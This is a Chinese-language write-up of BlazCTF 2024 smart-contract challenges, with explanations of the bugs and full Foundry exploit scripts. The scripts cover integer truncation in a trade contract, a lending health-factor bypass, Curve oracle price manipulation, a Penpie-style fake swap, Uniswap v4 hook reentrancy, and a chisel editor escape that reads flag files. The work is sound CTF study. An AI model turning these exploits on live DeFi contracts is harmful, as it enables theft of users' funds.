记录一些有趣的challenge,有时间再看看这场比赛中的solana。
8inch
这里存在精度损失能无偿买入,但量很小
function settleTrade(uint256 _tradeId, uint256 _amountToSettle) external nonReentrant {
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(_amountToSettle > 0, "Invalid settlement amount");
uint256 tradeAmount = _amountToSettle * trade.amountToBuy;
require(trade.filledAmountToSell + _amountToSettle <= trade.amountToSell, "Exceeds available amount");
require(IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell), "Buy transfer failed");
require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");
trade.filledAmountToSell += safeCast(_amountToSettle);
trade.filledAmountToBuy += safeCast(tradeAmount / trade.amountToSell);
if (trade.filledAmountToSell > trade.amountToSell) {
trade.isActive = false;
}
emit TradeSettled(_tradeId, msg.sender, _amountToSettle);
}并且createTrade没有检验Tobuy和ToSell的值,可以创建一个订单ToBuy是0.
function createTrade(
address _tokenToSell,
address _tokenToBuy,
uint256 _amountToSell,
uint256 _amountToBuy
) external nonReentrant {
require(_tokenToSell != address(0) && _tokenToBuy != address(0), "Invalid token addresses");
uint256 tradeId = nextTradeId++;
trades[tradeId] = Trade({
maker: msg.sender,
taker: address(0),
tokenToSell: _tokenToSell,
tokenToBuy: _tokenToBuy,
amountToSell: safeCast(_amountToSell - fee),
amountToBuy: safeCast(_amountToBuy),
filledAmountToSell: 0,
filledAmountToBuy: 0,
isActive: true
});
require(IERC20(_tokenToSell).transferFrom(msg.sender, address(this), _amountToSell), "Transfer failed");
emit TradeCreated(tradeId, msg.sender, _tokenToSell, _tokenToBuy, _amountToSell, _amountToBuy);
}然后通过扩大一下交易量,这里需要满足originalAmountToSell < newAmountNeededWithFee,可以构造一个值刚好让uint112截断最高位。
function scaleTrade(uint256 _tradeId , uint256 scale) external nonReentrant {
require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
Trade storage trade = trades[_tradeId];
require(trade.isActive, "Trade is not active");
require(scale > 0, "Invalid scale");
require(trade.filledAmountToBuy == 0, "Trade is already filled");
uint112 originalAmountToSell = trade.amountToSell;
trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
if (originalAmountToSell < newAmountNeededWithFee) {
require(
IERC20(trade.tokenToSell).transferFrom(msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell),
"Transfer failed"
);
}
}
exp
pragma solidity 0.8.24;
import "forge-std/Script.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test,console2} from "forge-std/Test.sol";
import "src/8Inch.sol";
import "src/exp.sol";
contract Poc is Script {
Challenge public challenge = Challenge(0x368F8017A2b3Af3416977ba4EB8DD21d60A2538E);
TradeSettlement public tradeSettlement;
SimpleERC20 public wojak;
SimpleERC20 public weth;
function setUp() public {
tradeSettlement = challenge.tradeSettlement();
wojak = challenge.wojak();
weth = challenge.weth();
}
function run() public {
setUp();
vm.startBroadcast();
tradeSettlement.settleTrade(0, 9);
tradeSettlement.settleTrade(0, 9);
tradeSettlement.settleTrade(0, 9);
tradeSettlement.settleTrade(0, 9);
wojak.approve(address(tradeSettlement), 31 wei);
tradeSettlement.createTrade(address(wojak), address(weth), 31 wei, 0);
tradeSettlement.scaleTrade(1, 5192296858534827628530496329220066);
uint256 stolen = wojak.balanceOf(address(tradeSettlement));
tradeSettlement.settleTrade(1, stolen);
wojak.transfer(address(0xc0ffee), 10 ether);
vm.stopBroadcast();
}
}doju
这里能call到别的函数,调到transfer即可。

chisel
!edit使用的是$EDITOR环境变量指向的编辑器,默认应该是vim,可以通过Setenv设置成bash。

//; cat /flag*
address vm = address(uint160(uint256(keccak256("hevm cheat code"))));
vm.call(abi.encodeWithSignature("setEnv(string,string)", "EDITOR", "bash"));
!edittony-lend
漏洞点在于withdraw操作时先判断了healthFactor,然后才修改状态机,导致信用可以低于指定的值。

利用这个漏洞,我们可以无偿borrow,例如这样便能凭空多出1e22的资产。
Challenge(challenge).claimDust();
show();
console.log("after withdraw");
MintableERC20(usde).approve(tonyLend, 1e22);
TonyLend(tonyLend).deposit(0, 1e22);
TonyLend(tonyLend).borrow(0, 1e22);
TonyLend(tonyLend).withdraw(0, 1e22);
show();

exp如下
// SPDX-License-Identifier: GPL-3.0
pragma solidity
{ #0}
.8.20;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {console2} from "forge-std/console2.sol";
import "../src/TonyLend.sol";
import {Challenge} from "../src/Challenge.sol";
contract Solve is Script {
// struct UserAccount {
// mapping(uint256 => uint256) deposited;
// mapping(uint256 => uint256) borrowed;
// mapping(uint256 => uint256) lastInterestBlock;
// }
address challenge = address(0x72F375F23BCDA00078Ac12e7e9E7f6a8CA523e7D);
address tonyLend = address(Challenge(challenge).tonyLend());
address usde = address(Challenge(challenge).usde());
address usdc = address(Challenge(challenge).usdc());
address player = address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
function run () external {
vm.startBroadcast(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80);
Challenge(challenge).claimDust();
show();
MintableERC20(usde).approve(tonyLend, 1e22);
TonyLend(tonyLend).deposit(0, 1e22);
MintableERC20(usdc).approve(tonyLend, 1e10);
TonyLend(tonyLend).deposit(1, 1e10);
TonyLend(tonyLend).borrow(0, 2e22);
// showUserAsset() ;
// uint256 helathFactor = TonyLend(tonyLend).calculateHealthFactor(player);
// console.log("healthFactor", helathFactor);
TonyLend(tonyLend).withdraw(0, 1e22);
show();
MintableERC20(usde).transfer(address(0xc0ffee), 2.1926e22);
console.log("isSolved?", Challenge(challenge).isSolved());
}
// function showUserAsset() internal{
// console.log("mine deposit usde", TonyLend(tonyLend).getUserDeposited(player, 0));
// console.log("mine deposit usdc", TonyLend(tonyLend).getUserDeposited(player, 1));
// console.log("mine borrow usde", TonyLend(tonyLend).getUserBorrowed(player, 0));
// console.log("mine borrow usdc", TonyLend(tonyLend).getUserBorrowed(player, 1));
// }
function show() internal {
console.log("USDE", MintableERC20(usde).balanceOf(player));
console.log("USDC", MintableERC20(usdc).balanceOf(player));
}
}tony-lend2
把withdraw和repay都去掉了,需要去寻找CurvePool的安全问题。

问题其实在于# StableSwap-NG Oracles,bug在于更新预言机的时候直接使用了self.upkeep_oracles(new_balances, amp, D1),并没有统一精度,则可能导致价格预言机急剧变化。例如这个场景中USDe 的精度为 18,而 USDC 的精度为 6。
正常的代码应该是self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1)。
在remove_liquidity_imbalance中,正好使用了漏洞代码,这个函数的作用可以参考官方文档Curve Plain Pools,在代码方面主要做了这么几件事。
- 首先获取了放大系数amp(参考Curve v1白皮书),每个代币的精度,不变量D,每个代币的总余额(除去admin的)。
- 调用_transfer_out将要提取的代币资产转出给调用者
- 在接下来的for循环中主要是为了计算费用,在Curve中这个费用被设计为动态费用,需要实时计算,然后从总余额中扣除。
- 最后更新预言机价格,D值,total_supply

在 upkeep_oracles中会调用_get_p计算当前现货价格,在题目场景中则是 USDC 相对于 USDe的价格,而计算出来的结果会被打包进last_prices_packed中,这个变量包含了两个数据: last_price (该代币的最新价格)和 ma_price(EMA price)。而如果没有统一精度则会导致这里的_get_p计算结果偏大,因为在这xp[0]即是精度为18位的USDE的balance,xp[1]是精度为6位的USDC,进行相除之后的结果会明显膨胀,导致最终预言机中存储的现货价格也会膨胀。

所以现在我们可以利用这个漏洞可以操纵预言机价格,回到tonyLend中,发现usdc使用的Curve 预言机获取的价格(price_oracle函数)

price_oracle用于计算usdc相对于usde的EMA价格,其中使用到了last_spot_value即为上述计算中偏大的价格,如果block.timestamp大于上次更新ema价格的时间戳(注意ema在每个区块只更新一次),则会再次更新ema价格,在这里则会导致外部tonyLend合约获取的预言机价格急剧增大。

所以这给了可以操纵calculateHealthFactor结果的攻击面,在i=1的时候,则在计算usdc的资产价格,从预言机获取的价格会偏大,而合约在部署的时候进行了tonyLend.borrow(1, 1.85e4 * 1e6);操作,导致可以让这里的borrowedInEth偏大,从而让结果偏小,从而降低仓位的健康度。这会导致仓位抵押不足,从而导致清算。

简单测试一下,同比正常的价格,预言机价格明显多了快50%,并且健康因子从初始化的1.081e18左右降低到了0.9197e18左右,明显低于MIN_HEALTH_FACTOR==1.05e18。

如下在初始化时,challange借走了usdc资产。
// deposit
tonyLend.deposit(0, 1e4 ether);
tonyLend.deposit(1, 1e4 * 1e6);
// borrow
tonyLend.borrow(1, 1.85e4 * 1e6);
在liquidate清算中,_assetId表示需要借款人借走的资产,_collateralAssetId表示借款人需要用来清算债务的资产。此时可以直接清算challenge的usdc债务,由于两者价格差距过大,会导致toLiquidate较小,collateralAmount巨大,这里能直接将challenge所有的usde全部转出来,最后再拿usdc借点usde即可,或者直接在池子里换。

本地测试了下需要加--skip-simulation 跳过模拟,不然价格没有变化不知道有什么毛病。
// SPDX-License-Identifier: GPL-3.0
pragma solidity
{ #0}
.8.20;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {console2} from "forge-std/console2.sol";
import "../src/TonyLend.sol";
import {Challenge} from "../src/Challenge.sol";
interface ICurve1 {
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
function get_dx(int128 i, int128 j, uint256 dx) external view returns (uint256);
function get_balances() external view returns (uint256[] memory);
function add_liquidity(
uint256[] calldata amounts,
uint256 min_mint_amount
) external returns (uint256);
function remove_liquidity_imbalance(
uint256[] calldata amounts,
uint256 max_burn_amount
) external returns (uint256);
function get_p(uint256 i) external view returns (uint256);
function price_oracle(uint256 idx) external view returns (uint256);
function last_price(uint256 idx) external view returns (uint256);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external returns (uint256);
}
contract Attack is Script {
address player = address(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
// address helper = address(0xe24C5c44a7c4E75d5E2e461C35d863db0385E3c9);
Challenge challenge = Challenge(address(0x2572e04Caf46ba8692Bd6B4CBDc46DAA3cA9647E));
TonyLend tonyLend = challenge.tonyLend();
address curvePool = address(challenge.curvePool());
ERC20 usde = challenge.usde();
ERC20 usdc = challenge.usdc();
function run () external {
console.log("USDE", address(usde));
console.log("USDC", address(usdc));
vm.startBroadcast(0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80);
usde.approve(address(curvePool), type(uint256).max);
usdc.approve(address(curvePool), type(uint256).max);
usde.approve(address(tonyLend), type(uint256).max);
usdc.approve(address(tonyLend), type(uint256).max);
// 1. Claim some usdc and usde token
challenge.claimDust();
show();
uint256 healthCalcuator =tonyLend.calculateHealthFactor(address(challenge));
console.log("healthCalcuator", healthCalcuator);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 1e22 ;
amounts[1] = 1e6 ;
uint256 LPamount = ICurve(curvePool).add_liquidity(amounts, 0);
uint256 EMAprice = ICurve1(curvePool).price_oracle(0);
console.log("EMAprice", EMAprice);
// 2. remove liquidity to the pool
amounts[ 0 ] = 1e22 * 0.9;
amounts[ 1 ] = 1e6 * 0.9;
ICurve1(curvePool).remove_liquidity_imbalance(amounts, type (uint256).max);
vm.warp(block.timestamp + 8 minutes);
console.log("---------after 8 minutes-------");
EMAprice = ICurve1(curvePool).price_oracle(0);
uint256 price = ICurve1(curvePool).get_p(0);
console.log("price : calculate Price by get_p", price);
console.log("EMAprice : calculate Price by price_oracle ", EMAprice);
healthCalcuator =tonyLend.calculateHealthFactor(address(challenge));
console.log("healthCalcuator", healthCalcuator );
uint256 usdcprice = tonyLend.getAssetPrice(1);
console.log("USDC price", usdcprice);
uint256 usdeprice = tonyLend.getAssetPrice(0);
console.log("USDE price", usdeprice);
// 4. 清算挑战的头寸
tonyLend.liquidate(address(challenge), 1 , 1e22, 0 );
// 5. 存入 USDC 并借出一些 USDe
tonyLend.deposit(1, usdc.balanceOf(address(player)));
tonyLend.borrow(0, 2926e18);
show();
usde.transfer(address( 0xc0ffee ), 21926e18 );
require(challenge.isSolved(), "challenge is still not solved" );
vm.stopBroadcast();
}
function show() internal{
console.log("USDE",usde.balanceOf(player));
console.log("USDC", usdc.balanceOf(player));
}
}
Oh Fuck pendle
借用了真实攻击的思路 https://threesigma.xyz/blog/penpie-exploit 。
challenge将1337个ether代币转给了0x00000000005BBB0EF59571E58418F9a4357b68A0。查看代码,是一个Pendle Router合约,问题出在_swapTokenInput没有检验inp.pendleSwap是否合法,这就像真实攻击中的漏洞,接受了所有 Pendle 市场/掉期作为有效池。在伪造的pendleSwap中可以将inp.tokenMintSy设置为需要获取的token代币,最后通过_transferOut转账。

exp
IRouter router = IRouter(0x00000000005BBB0EF59571E58418F9a4357b68A0);
PendleSwap pendleSwap = new PendleSwap();
TokenInput memory input = TokenInput(
address(0),
1 ether,
address(challenge.token()),
address(pendleSwap),
SwapData(SwapType.NONE, address(0), new bytes(0), false)
);
router.swapTokenToToken{value: 1 ether}(challenge.PLAYER(), 1 ether, input);
require(challenge.isSolved(), "Not solved");tutori4l
合约部署了一个univ4的池子,并且hook会在beforeSwap和afterSwap生效,漏洞点在于beforeSwap会调用first_reward来获取奖励,这里存在重入攻击,虽然有in_swap保护,但这是函数锁,在beforeSwap已经打开。

要进入first_reward需要满足has_reward[id],这需要调用set_reward并且付费1eth。

在challenge中给了arbitrary函数能帮我们完成set_reward的调用。

用于进行重入的辅助合约,
// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.8.20;
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {ERC20} from "../src/ERC20.sol";
import {Hook} from "../src/Hook.sol";
import {HookMiner} from "../src/HookMiner.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
contract exp {
PoolManager public poolmanager;
Hook public hook;
bool flag = true;
address public token;
uint160 public constant MIN_PRICE_LIMIT = TickMath.MIN_SQRT_PRICE + 1;
uint160 public constant MAX_PRICE_LIMIT = TickMath.MAX_SQRT_PRICE - 1;
constructor(address poolM,address h,address t1) {
poolmanager = PoolManager(poolM);
hook = Hook(h);
token = t1;
}
function attack() public{
IPoolManager(poolmanager).unlock(
abi.encode("")
);
}
function unlockCallback(bytes calldata data) external returns (bytes memory) {
PoolKey memory poolKey = PoolKey({
currency0: Currency.wrap(address(0)),
currency1: Currency.wrap(token),
fee: 0,
tickSpacing: 10,
hooks: hook
});
bool zeroForOne = true;
bytes memory hookData = abi.encode(address(this));
// Swap exactly 1e18 of token0 into token1
poolmanager.swap(
poolKey,
IPoolManager.SwapParams({
zeroForOne: zeroForOne,
amountSpecified: -2 ether,
sqrtPriceLimitX96: zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT // unlimited impact
}),
hookData
);
return hookData;
}
receive() external payable {
if (flag) {
flag = false;
address(0xc0ffee).call{value: address(this).balance}("");
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: -1001 ether,
sqrtPriceLimitX96: true ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT
});
bytes memory data = abi.encode(address(this));
Hook(hook).first_reward(params, data);
}
address(0xc0ffee).call{value: address(this).balance}("");
}
}forge本地测试,最后把获取到的1ether都转入了0xc0ffee地址。
pragma solidity
{ #0}
.8.20;
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";
import {console2} from "forge-std/console2.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {Challenge} from "../src/challenge.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";
import {Hook} from "../src/Hook.sol";
import {exp} from "../src/exp.sol";
contract Attack is Script {
address player = address(0x70997970C51812dc3A010C7d01b50e0d17dc79C8);
Challenge challenge = Challenge(payable(address(0x610178dA211FEF7D417bC0e6FeD39F05609AD788)));
PoolManager manager = PoolManager(address(challenge.manager()));
address token = address(challenge.token());
Hook hook = challenge.hook();
function run () external {
vm.startBroadcast(0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d);
challenge.arbitrary(address(hook), abi.encodeWithSignature("set_reward()"));
PoolKey memory pool = PoolKey({
currency0: Currency.wrap(address(0)),
currency1: Currency.wrap(token),
fee: 0,
tickSpacing: 10,
hooks: challenge.hook()
});
PoolId lucky_pool = PoolIdLibrary.toId(pool);
bool has_reward = hook.has_reward(lucky_pool);
console.log("has_reward ", has_reward);
exp e = exp(payable(address(0xB7f8BC63BbcaD18155201308C8f3540b07f84F5e)));
e.attack();
console.log("0xc0ffee balance ", address(0xc0ffee).balance);
vm.stopBroadcast();
}
}https://ambergroup.medium.com/blazctf-2024-writeup-4c097868db26